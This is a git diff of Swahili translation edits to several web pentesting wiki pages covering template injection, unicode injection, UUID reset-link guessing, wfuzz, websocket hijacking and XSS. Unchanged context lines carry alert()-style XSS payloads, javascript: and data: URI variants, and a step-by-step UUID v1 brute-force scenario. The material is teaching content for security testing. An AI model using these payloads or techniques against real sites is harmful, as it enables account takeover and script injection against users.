 ```
 webui:
 As the name suggests, web UI
@@ -319,7 +319,7 @@ crack-request: Read a request file for attack
 Read the request in the file, PAYLOADreplace it with the actual payload and submit it
 The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
 ```
-## Marejeo
+## Marejeleo
 
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
 - Angalia [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
diff --git a/src/pentesting-web/unicode-injection/README.md b/src/pentesting-web/unicode-injection/README.md
index 8032e2d6d..8d13958ad 100644
--- a/src/pentesting-web/unicode-injection/README.md
+++ b/src/pentesting-web/unicode-injection/README.md
@@ -29,8 +29,8 @@ Udhaifu huu kwa kweli unatokana na udhaifu ambao mtafiti alipata, kwa maelezo ya
 
 Back-ends fulani zinafanya kazi kwa njia ya ajabu wanap **pata emojis**. Hivyo ndivyo ilivyotokea katika [**hii andiko**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) ambapo mtafiti alifanikiwa kupata XSS kwa payload kama: `💋img src=x onerror=alert(document.domain)//💛`
 
-Katika kesi hii, kosa lilikuwa kwamba seva baada ya kuondoa wahusika wabaya **ilibadilisha string ya UTF-8 kutoka Windows-1252 hadi UTF-8** (kimsingi uandishi wa ingizo na kubadilisha kutoka uandishi vilikuwa tofauti). Kisha hii haitoi < sahihi bali unicode ya ajabu: `‹`\
-``Hivyo walichukua matokeo haya na **wakabadilisha tena sasa kutoka UTF-8 hadi ASCII**. Hii **ilihariri** `‹` kuwa ` <` hii ndiyo jinsi exploit ilivyoweza kufanya kazi kwenye mfumo huo.\
+Katika kesi hii, kosa lilikuwa kwamba seva baada ya kuondoa wahusika wabaya **ilibadilisha string ya UTF-8 kutoka Windows-1252 hadi UTF-8** (kimsingi uandishi wa ingizo na kubadilisha kutoka uandishi vilikuwa tofauti). Kisha hii haisababishi < sahihi bali unicode ya ajabu: `‹`\
+``Hivyo walichukua matokeo haya na **wakabadilisha tena sasa kutoka UTF-8 hadi ASCII**. Hii **ilihariri** `‹` kuwa `<` hii ndiyo jinsi exploit ilivyoweza kufanya kazi kwenye mfumo huo.\
 Hii ndiyo ilivyotokea:
 ```php
 )
 
-**Wahusika wa Unicode wa kuvutia**
+**Wahusika wa Unicode wenye kuvutia**
 
 - `o` -- %e1%b4%bc
 - `r` -- %e1%b4%bf
@@ -89,7 +89,7 @@ Kumbuka kwamba kwa mfano wahusika wa kwanza wa Unicode wanaweza kutumwa kama: `%
 
 ### Fuzzing Regexes
 
-Wakati backend in **kuchunguza pembejeo za mtumiaji kwa regex**, inaweza kuwa inawezekana kwamba **pemebeo** in **normalizing** kwa **regex** lakini **siyo** kwa mahali inapotumika. Kwa mfano, katika Open Redirect au SSRF regex inaweza kuwa **normalizing URL iliyopelekwa** lakini kisha **inaifikia kama ilivyo**.
+Wakati backend in **kuchunguza pembejeo ya mtumiaji kwa regex**, inaweza kuwa inawezekana kwamba **pemebeo** in **normalizing** kwa **regex** lakini **siyo** kwa mahali inapotumika. Kwa mfano, katika Open Redirect au SSRF regex inaweza kuwa **normalizing URL iliyopelekwa** lakini kisha **inaifikia kama ilivyo**.
 
 Chombo [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* kinaruhusu **kuunda tofauti za pembejeo** ili kufuzz backend. Kwa maelezo zaidi angalia **github** na hii [**post**](https://0xacb.com/2022/11/21/recollapse/).
 
diff --git a/src/pentesting-web/uuid-insecurities.md b/src/pentesting-web/uuid-insecurities.md
index 28514560f..6a86be4aa 100644
--- a/src/pentesting-web/uuid-insecurities.md
+++ b/src/pentesting-web/uuid-insecurities.md
@@ -4,12 +4,12 @@
 
 ## Basic Information
 
-Universally Unique Identifiers (UUIDs) ni **nambari za bit 128 zinazotumika kutambulisha habari kwa kipekee** katika mifumo ya kompyuta. UUIDs ni muhimu katika programu ambapo vitambulisho vya kipekee vinahitajika bila uratibu wa kati. Zinatumika mara nyingi kama funguo za hifadhidata na zinaweza kurejelea vipengele mbalimbali kama hati na vikao.
+Universally Unique Identifiers (UUIDs) ni **nambari za 128-bit zinazotumika kutambulisha habari kwa kipekee** katika mifumo ya kompyuta. UUIDs ni muhimu katika programu ambapo vitambulisho vya kipekee vinahitajika bila uratibu wa kati. Zinatumika mara nyingi kama funguo za hifadhidata na zinaweza kurejelea vipengele mbalimbali kama hati na vikao.
 
 UUIDs zimeundwa kuwa za kipekee na **ngumu kukisia**. Zimejengwa kwa muundo maalum, zimegawanywa katika vikundi vitano vinavyowakilishwa kama tarakimu 32 za hexadecimal. Kuna matoleo tofauti ya UUIDs, kila moja ikihudumia madhumuni tofauti:
 
 - **UUID v1** ni ya msingi wa wakati, ikijumuisha alama ya wakati, mfululizo wa saa, na kitambulisho cha node (anwani ya MAC), lakini inaweza kuonyesha habari za mfumo.
-- **UUID v2** ni sawa na v1 lakini inajumuisha marekebisho kwa maeneo ya ndani (siyo maarufu).
+- **UUID v2** ni sawa na v1 lakini inajumuisha marekebisho kwa maeneo ya ndani (siyo maarufu sana).
 - **UUID v3 na v5** zinaunda UUIDs kwa kutumia thamani za hash kutoka kwa namespace na jina, ambapo v3 inatumia MD5 na v5 inatumia SHA-1.
 - **UUID v4** inaundwa karibu kabisa kwa bahati nasibu, ikitoa kiwango cha juu cha kutotambulika lakini ikiwa na hatari kidogo ya nakala.
 
@@ -36,8 +36,8 @@ Fikiria programu ya wavuti inayotumia UUID v1 kwa ajili ya kuunda viungo vya upy
 
 2. **Utendaji**:
 
-- Mshambuliaji anachochea upya wa nywila kwa akaunti yake ya kwanza (\`attacker1@acme.com\`) na kupokea kiungo cha upya wa nywila chenye UUID, sema \`99874128-7592-11e9-8201-bb2f15014a14\`.
-- Mara moja baada ya hapo, mshambuliaji anachochea upya wa nywila kwa akaunti ya mwathirika (\`victim@acme.com\`) na kisha haraka kwa akaunti ya pili inayodhibitiwa na mshambuliaji (\`attacker2@acme.com\`).
+- Mshambuliaji anasababisha upya wa nywila kwa akaunti yake ya kwanza (\`attacker1@acme.com\`) na kupokea kiungo cha upya wa nywila chenye UUID, sema \`99874128-7592-11e9-8201-bb2f15014a14\`.
+- Mara moja baada ya hapo, mshambuliaji anasababisha upya wa nywila kwa akaunti ya mwathirika (\`victim@acme.com\`) na kisha haraka kwa akaunti ya pili inayodhibitiwa na mshambuliaji (\`attacker2@acme.com\`).
 - Mshambuliaji anapata kiungo cha upya kwa akaunti ya pili chenye UUID, sema \`998796b4-7592-11e9-8201-bb2f15014a14\`.
 
 3. **Uchambuzi**:
@@ -47,11 +47,11 @@ Fikiria programu ya wavuti inayotumia UUID v1 kwa ajili ya kuunda viungo vya upy
 4. **Brute Force Attack:**
 
 - Mshambuliaji anatumia zana kuunda UUIDs kati ya hizi mbili na kujaribu kila UUID iliyoundwa kwa kujaribu kufikia kiungo cha upya wa nywila (kwa mfano, \`https://www.acme.com/reset/\\`).
-- Ikiwa programu ya wavuti haipunguzi vizuri kiwango au kuzuia majaribio kama haya, mshambuliaji anaweza haraka kujaribu UUID zote zinazowezekana katika anuwai hiyo.
+- Ikiwa programu ya wavuti haipunguzwi vizuri au kuzuia majaribio kama haya, mshambuliaji anaweza haraka kujaribu UUID zote zinazowezekana katika anuwai hiyo.
 
 5. **Ufikiaji Uliopatikana:**
 
-- Mara tu UUID sahihi kwa kiungo cha upya wa nywila ya mwathirika inapogundulika, mshambuliaji anaweza kuanzisha upya wa nywila ya mwathirika na kupata ufikiaji usioidhinishwa kwa akaunti yao.
+- Mara tu UUID sahihi kwa kiungo cha upya wa nywila ya mwathirika inapogundulika, mshambuliaji anaweza kuunda upya nywila ya mwathirika na kupata ufikiaji usioidhinishwa kwa akaunti yao.
 
 ### Tools
 
diff --git a/src/pentesting-web/web-tool-wfuzz.md b/src/pentesting-web/web-tool-wfuzz.md
index f1567e919..d9f31417a 100644
--- a/src/pentesting-web/web-tool-wfuzz.md
+++ b/src/pentesting-web/web-tool-wfuzz.md
@@ -4,11 +4,11 @@
 
 Zana ya FUZZ programu za wavuti popote.
 
-> [Wfuzz](https://github.com/xmendez/wfuzz) imeundwa ili kurahisisha kazi katika tathmini za programu za wavuti na inategemea dhana rahisi: inachukua nafasi ya rejeleo lolote kwa neno la FUZZ kwa thamani ya payload fulani.
+> [Wfuzz](https://github.com/xmendez/wfuzz) imeundwa ili kuwezesha kazi katika tathmini za programu za wavuti na inategemea wazo rahisi: inachukua nafasi ya rejeleo lolote kwa neno la FUZZ kwa thamani ya payload fulani.
 
 ## Installation
 
-Installed in Kali
+Imewekwa katika Kali
 
 Github: [https://github.com/xmendez/wfuzz](https://github.com/xmendez/wfuzz)
 ```
diff --git a/src/pentesting-web/web-vulnerabilities-methodology.md b/src/pentesting-web/web-vulnerabilities-methodology.md
index b6fbae405..cd58230fd 100644
--- a/src/pentesting-web/web-vulnerabilities-methodology.md
+++ b/src/pentesting-web/web-vulnerabilities-methodology.md
@@ -7,7 +7,7 @@ Katika kila Web Pentest, kuna **sehemu kadhaa zilizofichwa na wazi ambazo zinawe
 ## Proxies
 
 > [!NOTE]
-> Sasa hivi **maombi ya mtandao** kwa kawaida **yanatumia** aina fulani ya **proxies za kati**, ambazo zinaweza (kutumika vibaya) kutekeleza udhaifu. Udhaifu huu unahitaji proxy yenye udhaifu kuwepo, lakini kwa kawaida pia unahitaji udhaifu wa ziada katika backend.
+> Sasa hivi **maombi** **ya wavuti** kwa kawaida **yanatumia** aina fulani ya **proxies** **za kati**, ambazo zinaweza (kutumika vibaya) kutekeleza udhaifu. Udhaifu huu unahitaji proxy yenye udhaifu kuwepo, lakini kwa kawaida pia unahitaji udhaifu wa ziada katika backend.
 
 - [ ] [**Abusing hop-by-hop headers**](abusing-hop-by-hop-headers.md)
 - [ ] [**Cache Poisoning/Cache Deception**](cache-deception/)
@@ -21,7 +21,7 @@ Katika kila Web Pentest, kuna **sehemu kadhaa zilizofichwa na wazi ambazo zinawe
 ## **User input**
 
 > [!NOTE]
-> Maombi mengi ya mtandao yatakubali **watumiaji kuingiza data ambayo itashughulikiwa baadaye.**\
+> Maombi mengi ya wavuti yatakubali **watumiaji kuingiza data ambayo itashughulikiwa baadaye.**\
 > Kulingana na muundo wa data ambayo seva inatarajia, udhaifu fulani unaweza kutumika au kutoweza kutumika.
 
 ### **Reflected Values**
@@ -71,7 +71,7 @@ Wakati websocket inachapisha ujumbe au fomu inayowaruhusu watumiaji kufanya vite
 
 ### **HTTP Headers**
 
-Kulingana na vichwa vya HTTP vilivyotolewa na seva ya mtandao, udhaifu fulani unaweza kuwepo.
+Kulingana na vichwa vya HTTP vilivyotolewa na seva ya wavuti, udhaifu fulani unaweza kuwepo.
 
 - [ ] [**Clickjacking**](clickjacking.md)
 - [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/)
@@ -119,7 +119,7 @@ Watumiaji wanaofungua faili zilizopakiwa na watumiaji au zilizozalishwa kiotomat
 
 ### **Other Helpful Vulnerabilities**
 
-Udhaifu huu unaweza kusaidia kutekeleza udhaifu mwingine.
+Hizi udhaifu zinaweza kusaidia kutekeleza udhaifu mwingine.
 
 - [ ] [**Domain/Subdomain takeover**](domain-subdomain-takeover.md)
 - [ ] [**IDOR**](idor.md)
diff --git a/src/pentesting-web/web-vulnerabilities-methodology/README.md b/src/pentesting-web/web-vulnerabilities-methodology/README.md
index faf48ed73..096ea5e21 100644
--- a/src/pentesting-web/web-vulnerabilities-methodology/README.md
+++ b/src/pentesting-web/web-vulnerabilities-methodology/README.md
@@ -7,7 +7,7 @@ Katika kila Web Pentest, kuna **sehemu kadhaa zilizofichwa na wazi ambazo zinawe
 ## Proxies
 
 > [!NOTE]
-> Sasa hivi **maombi ya mtandao** kawaida **yanatumia** aina fulani ya **proxies za kati**, ambazo zinaweza (kutumika vibaya) kutekeleza udhaifu. Udhaifu huu unahitaji proxy yenye udhaifu kuwepo, lakini kawaida pia unahitaji udhaifu wa ziada katika backend.
+> Sasa hivi **maombi ya mtandao** kwa kawaida **yanatumia** aina fulani ya **proxies za kati**, ambazo zinaweza (kutumika vibaya) kutekeleza udhaifu. Udhaifu huu unahitaji proxy yenye udhaifu kuwepo, lakini kwa kawaida pia unahitaji udhaifu wa ziada katika backend.
 
 - [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
 - [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
@@ -26,7 +26,7 @@ Katika kila Web Pentest, kuna **sehemu kadhaa zilizofichwa na wazi ambazo zinawe
 
 ### **Reflected Values**
 
-Ikiwa data iliyowekwa inaweza kwa namna fulani kuakisi katika jibu, ukurasa unaweza kuwa na udhaifu wa masuala kadhaa.
+Ikiwa data iliyowekwa inaweza kwa namna fulani kuakisiwa katika jibu, ukurasa unaweza kuwa na udhaifu wa masuala kadhaa.
 
 - [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md)
 - [ ] [**Command Injection**](../command-injection.md)
@@ -44,7 +44,7 @@ Ikiwa data iliyowekwa inaweza kwa namna fulani kuakisi katika jibu, ukurasa unaw
 - [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
 - [ ] [**XS-Search**](../xs-search.md)
 
-Baadhi ya udhaifu uliotajwa unahitaji hali maalum, wengine wanahitaji tu maudhui kuakisi. Unaweza kupata polygloths kadhaa za kuvutia kujaribu haraka udhaifu katika:
+Baadhi ya udhaifu uliotajwa unahitaji hali maalum, wengine wanahitaji tu maudhui kuakisiwa. Unaweza kupata polygloths kadhaa za kuvutia ili kujaribu haraka udhaifu katika:
 
 {{#ref}}
 ../pocs-and-polygloths-cheatsheet/
@@ -52,7 +52,7 @@ Baadhi ya udhaifu uliotajwa unahitaji hali maalum, wengine wanahitaji tu maudhui
 
 ### **Search functionalities**
 
-Ikiwa kazi hiyo inaweza kutumika kutafuta aina fulani ya data ndani ya backend, huenda unaweza (kutumika vibaya) kuitumia kutafuta data isiyo na mpangilio.
+Ikiwa kazi hiyo inaweza kutumika kutafuta aina fulani ya data ndani ya backend, huenda unaweza (kutumika vibaya) kuitumia kutafuta data isiyo ya kawaida.
 
 - [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
 - [ ] [**NoSQL Injection**](../nosql-injection.md)
@@ -93,7 +93,7 @@ Kuna kazi kadhaa maalum ambapo njia mbadala fulani zinaweza kuwa na manufaa kuzi
 
 ### **Structured objects / Specific functionalities**
 
-Baadhi ya kazi zitahitaji **data kuwa na muundo maalum sana** (kama vile kitu kilichosawazishwa au XML). Hivyo, ni rahisi kubaini ikiwa programu inaweza kuwa na udhaifu kwani inahitaji kushughulikia aina hiyo ya data.\
+Baadhi ya kazi zitahitaji **data kuandikwa katika muundo maalum sana** (kama vile kitu kilichosawazishwa kwa lugha au XML). Hivyo, ni rahisi kubaini ikiwa programu inaweza kuwa na udhaifu kwani inahitaji kushughulikia aina hiyo ya data.\
 Baadhi ya **kazi maalum** pia zinaweza kuwa na udhaifu ikiwa **muundo maalum wa ingizo unatumika** (kama vile Email Header Injections).
 
 - [ ] [**Deserialization**](../deserialization/)
diff --git a/src/pentesting-web/websocket-attacks.md b/src/pentesting-web/websocket-attacks.md
index 3137ffed8..81c90b0bf 100644
--- a/src/pentesting-web/websocket-attacks.md
+++ b/src/pentesting-web/websocket-attacks.md
@@ -26,7 +26,7 @@ Connection: keep-alive, Upgrade
 Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
 Upgrade: websocket
 ```
-Majibu ya mkono wa server:
+Majibu ya mkono wa mkutano wa seva:
 ```javascript
 HTTP/1.1 101 Switching Protocols
 Connection: Upgrade
@@ -42,7 +42,7 @@ Muunganisho unabaki wazi kwa ajili ya kubadilishana ujumbe katika mwelekeo wote
 - Thamani ya nasibu iliyokodishwa kwa Base64 inatumwa katika kichwa cha `Sec-WebSocket-Key`, kuhakikisha kila handshake ni ya kipekee, ambayo husaidia kuzuia matatizo na proxies za caching. Thamani hii si kwa ajili ya uthibitishaji bali kuthibitisha kwamba jibu halijatolewa na seva iliyo na mipangilio isiyo sahihi au cache.
 - Kichwa cha `Sec-WebSocket-Accept` katika jibu la seva ni hash ya `Sec-WebSocket-Key`, ikithibitisha nia ya seva kufungua muunganisho wa WebSocket.
 
-Vipengele hivi vinahakikisha kwamba mchakato wa handshake ni salama na wa kuaminika, ukifungua njia kwa mawasiliano ya wakati halisi yenye ufanisi.
+Vipengele hivi vinahakikisha mchakato wa handshake ni salama na wa kuaminika, ukitengeneza njia kwa mawasiliano ya wakati halisi yenye ufanisi.
 
 ### Linux console
 
@@ -69,8 +69,8 @@ Unaweza kutumia **tool** [**https://github.com/PalindromeLabs/STEWS**](https://g
 
 - **Burp Suite** inasaidia mawasiliano ya MitM websockets kwa njia inayofanana sana na inavyofanya kwa mawasiliano ya kawaida ya HTTP.
 - [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension** itakuruhusu kudhibiti mawasiliano ya Websocket kwa njia bora zaidi katika Burp kwa kupata **history**, kuweka **interception rules**, kutumia **match and replace** rules, kutumia **Intruder** na **AutoRepeater.**
-- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Fupi kwa "**WebSocket/Socket.io Proxy**", chombo hiki, kilichoandikwa kwa Node.js, kinatoa interface ya mtumiaji ili **kukamata, kuingilia, kutuma ujumbe maalum** na kuona mawasiliano yote ya WebSocket na Socket.IO kati ya mteja na seva.
-- [**wsrepl**](https://github.com/doyensec/wsrepl) ni **interactive websocket REPL** iliyoundwa mahsusi kwa ajili ya penetration testing. Inatoa interface ya kuangalia **ujumbe wa websocket unaoingia na kutuma mpya**, kwa mfumo rahisi wa **kujiendesha** mawasiliano haya. 
+- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Fupi kwa "**WebSocket/Socket.io Proxy**", chombo hiki, kilichoandikwa kwa Node.js, kinatoa interface ya mtumiaji ili **kukamata, kuingilia, kutuma ujumbe wa kawaida** na kuona mawasiliano yote ya WebSocket na Socket.IO kati ya mteja na seva.
+- [**wsrepl**](https://github.com/doyensec/wsrepl) ni **interactive websocket REPL** iliyoundwa mahsusi kwa ajili ya penetration testing. Inatoa interface ya kuangalia **ujumbe wa websocket unaoingia na kutuma mpya**, kwa mfumo rahisi wa kutumia kwa **kujiendesha** mawasiliano haya. 
 - [**https://websocketking.com/**](https://websocketking.com/) ni **web ya kuwasiliana** na tovuti nyingine kwa kutumia **websockets**.
 - [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) kati ya aina nyingine za mawasiliano/protocols, inatoa **web ya kuwasiliana** na tovuti nyingine kwa kutumia **websockets.**
 
@@ -86,9 +86,9 @@ Wavamizi wanaweza kutumia hii kwa kuandaa **ukurasa wa wavuti mbaya** unaoanzish
 
 ### Simple Attack
 
-Kumbuka kwamba wakati wa **kuanzisha** muunganisho wa **websocket** **cookie** inatumwa kwa seva. **Seva** inaweza kuwa inaitumia **kuhusisha** kila **mtumiaji maalum** na **websocket** **session** yake kulingana na **cookie** iliyotumwa.
+Kumbuka kwamba wakati wa **kuanzisha** muunganisho wa **websocket** **cookie** inatumwa kwa seva. **Seva** inaweza kuwa inaitumia **kuhusisha** kila **mtumiaji maalum** na **websocket** **session yake kulingana na cookie iliyotumwa**.
 
-Kisha, ikiwa kwa **mfano** **seva ya websocket** **inatuma nyuma historia ya mazungumzo** ya mtumiaji ikiwa ujumbe na "**READY"** umetumwa, basi **XSS rahisi** inayounda muunganisho (**cookie** itatumwa **kiotomatiki** kuidhinisha mtumiaji mwathirika) **ikiwasilisha** "**READY**" itakuwa na uwezo wa **kurejesha** historia ya **mazungumzo**.
+Kisha, ikiwa kwa **mfano** **seva ya websocket** **inatuma tena historia ya mazungumzo** ya mtumiaji ikiwa ujumbe na "**READY"** umetumwa, basi **XSS rahisi** inayounda muunganisho (**cookie** itatumwa **kiotomatiki** kuidhinisha mtumiaji mwathirika) **ikiwasilisha** "**READY**" itakuwa na uwezo wa **kurejesha** historia ya **mazungumzo**.
 ```markup
 `** vitambulisho vya ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa kwa kutumia **`javascript:`** itifaki:
 
 - Ikiwa inarejelewa kati ya **``** vitambulisho, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kwanza kuchambua vitambulisho vya HTML** na kisha yaliyomo, kwa hivyo, hakitagundua kwamba vitambulisho vyako vilivyoingizwa `` viko ndani ya msimbo wa HTML.
-- Ikiwa inarejelewa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kutekeleza** msimbo wako na **kurekebisha** msimbo wa JS (ikiwa kuna kosa lolote, halitatekelezwa):
+- Ikiwa inarejelewa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kutekeleza** msimbo wako na **kujenga upya** msimbo wa JS (ikiwa kuna kosa lolote, halitatekelezwa):
 - `'-alert(1)-'`
 - `';-alert(1)//`
 - `\';alert(1)//`
@@ -114,9 +114,9 @@ parentElement
 ```
 Unaweza pia kujaribu **kuanzisha kazi za Javascript** moja kwa moja: `obj.sales.delOrders`.
 
-Hata hivyo, kawaida, maeneo yanayotekeleza kazi iliyoashiriwa ni maeneo yasiyo na DOM ya kuvutia sana, **kurasa nyingine katika chanzo sawa** zitakuwa na **DOM ya kuvutia zaidi** ili kufanya vitendo zaidi.
+Hata hivyo, kawaida, mwisho wa kutekeleza kazi iliyoonyeshwa ni mwisho ambao huna DOM ya kuvutia sana, **kurasa nyingine katika chanzo sawa** zitakuwa na **DOM ya kuvutia zaidi** ili kufanya vitendo zaidi.
 
-Kwa hivyo, ili **kutumia udhaifu huu katika DOM tofauti** utekaji wa **Same Origin Method Execution (SOME)** ulitengenezwa:
+Kwa hivyo, ili **kutumia udhaifu huu katika DOM tofauti** uanzishwaji wa **Same Origin Method Execution (SOME)** ulitengenezwa:
 
 {{#ref}}
 some-same-origin-method-execution.md
@@ -124,7 +124,7 @@ some-same-origin-method-execution.md
 
 ### DOM
 
-Kuna **kodhi ya JS** inayotumia **kwa njia isiyo salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji, anaweza kutumia hii kutekeleza kodhi ya JS isiyo na mipaka.
+Kuna **kodia ya JS** inayotumia **kwa njia isiyo salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji, anaweza kutumia hii kutekeleza kodia ya JS isiyo na mipaka.
 
 {{#ref}}
 dom-xss.md
@@ -132,7 +132,7 @@ dom-xss.md
 
 ### **Universal XSS**
 
-Aina hii ya XSS inaweza kupatikana **popote**. Hazitegemei tu utekaji wa mteja wa programu ya wavuti bali katika **muktadha** **wowote**. Aina hii ya **utekaji wa JavaScript isiyo na mipaka** inaweza hata kutumiwa kupata **RCE**, **kusoma** **faili** **za kawaida** katika wateja na seva, na zaidi.\
+Aina hii ya XSS inaweza kupatikana **popote**. Hazitegemei tu kwenye unyakuzi wa mteja wa programu ya wavuti bali kwenye **muktadha** **wowote**. Aina hii ya **utekelezaji wa JavaScript isiyo na mipaka** inaweza hata kutumiwa kupata **RCE**, **kusoma** **faili** **za kawaida** katika wateja na seva, na zaidi.\
 Baadhi ya **esemples**:
 
 {{#ref}}
@@ -149,7 +149,7 @@ server-side-xss-dynamic-pdf.md
 
 ## Kuingiza ndani ya HTML safi
 
-Wakati ingizo lako linarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza kodhi ya HTML katika muktadha huu, **jambo la kwanza** unahitaji kufanya ni kuangalia kama unaweza kutumia `<` kuunda lebo mpya: Jaribu tu **kuonyesha** hiyo **herufi** na uone kama inachukuliwa **kama HTML** au **imeondolewa** au ikiwa inarejelewa **bila mabadiliko**. **Ni tu katika kesi ya mwisho utaweza kutumia kesi hii**.\
+Wakati ingizo lako linarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza kodia ya HTML katika muktadha huu, **jambo la kwanza** unahitaji kufanya ni kuangalia kama unaweza kutumia `<` kuunda lebo mpya: Jaribu tu **kuonyesha** hiyo **herufi** na uone kama inachukuliwa **kama HTML** au **imeondolewa** au ikiwa inarejelewa **bila mabadiliko**. **Ni tu katika kesi ya mwisho utaweza kutumia kesi hii**.\
 Kwa kesi hizi pia **zingatia** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
 &#xNAN;_**Kumbuka: Maoni ya HTML yanaweza kufungwa kwa kutumia\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*au \*\*\*\*\*\***`--!>`\*\**_
 
@@ -162,11 +162,11 @@ alert(1)
 
 ```
 Lakini, ikiwa tags/attributes black/whitelisting inatumika, utahitaji **kujaribu nguvu ambayo tags** unaweza kuunda.\
-Mara tu unapokuwa **umepata tags zipi zinazoruhusiwa**, utahitaji **kujaribu nguvu attributes/events** ndani ya tags zilizopatikana ili kuona jinsi unavyoweza kushambulia muktadha.
+Mara tu umepata **tags zipi zinazoruhusiwa**, utahitaji **kujaribu nguvu attributes/events** ndani ya tags zilizopatikana ili kuona jinsi unavyoweza kushambulia muktadha.
 
 ### Tags/Events kujaribu nguvu
 
-Nenda kwenye [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) na bonyeza _**Copy tags to clipboard**_. Kisha, tuma zote kwa kutumia Burp intruder na angalia ikiwa kuna tags yoyote haijagundulika kama mbaya na WAF. Mara tu unapokuwa umepata tags ambazo unaweza kutumia, unaweza **kujaribu nguvu matukio yote** kwa kutumia tags halali (katika ukurasa huo huo bonyeza _**Copy events to clipboard**_ na fuata utaratibu sawa kama hapo awali).
+Nenda kwenye [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) na bonyeza _**Copy tags to clipboard**_. Kisha, tuma zote kwa kutumia Burp intruder na angalia kama kuna tags yoyote haikugunduliwa kama mbaya na WAF. Mara tu unapogundua tags zipi unaweza kutumia, unaweza **kujaribu nguvu matukio yote** kwa kutumia tags halali (katika ukurasa huo huo bonyeza _**Copy events to clipboard**_ na ufuate utaratibu sawa kama hapo awali).
 
 ### Tags za kawaida
 
@@ -267,12 +267,12 @@ Ikiwa **huwezi kutoroka kutoka kwa tag**, unaweza kuunda sifa mpya ndani ya tag
 ```
 ### Ndani ya sifa
 
-Hata kama huwezi **kutoroka kutoka kwa sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa gani** thamani yako inarudishwa ndani **kama unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wa kiholela inapobonyezwa.\
-Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki `javascript:` kutekeleza msimbo wa kiholela: **`href="javascript:alert(1)"`**
+Hata kama huwezi **kutoroka kutoka kwenye sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa gani** thamani yako inarudishwa ndani **kama unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wa kiholela inapobonyezwa.\
+Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki ya `javascript:` kutekeleza msimbo wa kiholela: **`href="javascript:alert(1)"`**
 
 **Kupita ndani ya tukio kwa kutumia HTML encoding/URL encode**
 
-**Herufi zilizokodishwa za HTML** ndani ya thamani ya sifa za vitambulisho vya HTML zinatolewa **wakati wa utekelezaji**. Hivyo basi kitu kama ifuatavyo kitakuwa halali (mzigo uko kwa maandiko makubwa): `Rudi Nyuma `
+**Herufi zilizokodishwa za HTML** ndani ya thamani ya sifa za vitambulisho vya HTML zinatolewa **wakati wa kutekeleza**. Hivyo basi kitu kama ifuatavyo kitakuwa halali (mzigo uko kwenye maandiko makubwa): `Rudi Nyuma `
 
 Kumbuka kwamba **aina yoyote ya HTML encode ni halali**:
 ```javascript
@@ -303,7 +303,7 @@ Kumbuka kwamba **aina yoyote ya HTML encode ni halali**:
 ```
 ### Protokali Maalum Ndani ya sifa
 
-Hapa unaweza kutumia protokali **`javascript:`** au **`data:`** katika maeneo mengine ili **kutekeleza msimbo wa JS wa kiholela**. Baadhi zitahitaji mwingiliano wa mtumiaji na zingine hazitahitaji.
+Hapo unaweza kutumia protokali **`javascript:`** au **`data:`** katika baadhi ya maeneo ili **kutekeleza msimbo wa JS wa kiholela**. Baadhi zitahitaji mwingiliano wa mtumiaji na zingine hazitahitaji.
 ```javascript
 javascript:alert(1)
 JavaSCript:alert(1)
@@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 ```
 **Mahali ambapo unaweza kuingiza protokali hizi**
 
-**Kwa ujumla** protokali ya `javascript:` inaweza **kutumika katika tag yoyote inayokubali sifa `href`** na katika **zaidi ya** tag nyingi zinazokubali **sifa `src`** (lakini si ``)
+**Kwa ujumla** protokali ya `javascript:` inaweza **kutumika katika lebo yoyote inayokubali sifa ya `href`** na katika **zaidi ya** lebo nyingi zinazokubali **sifa ya `src`** (lakini si ``)
 ```markup
 
 
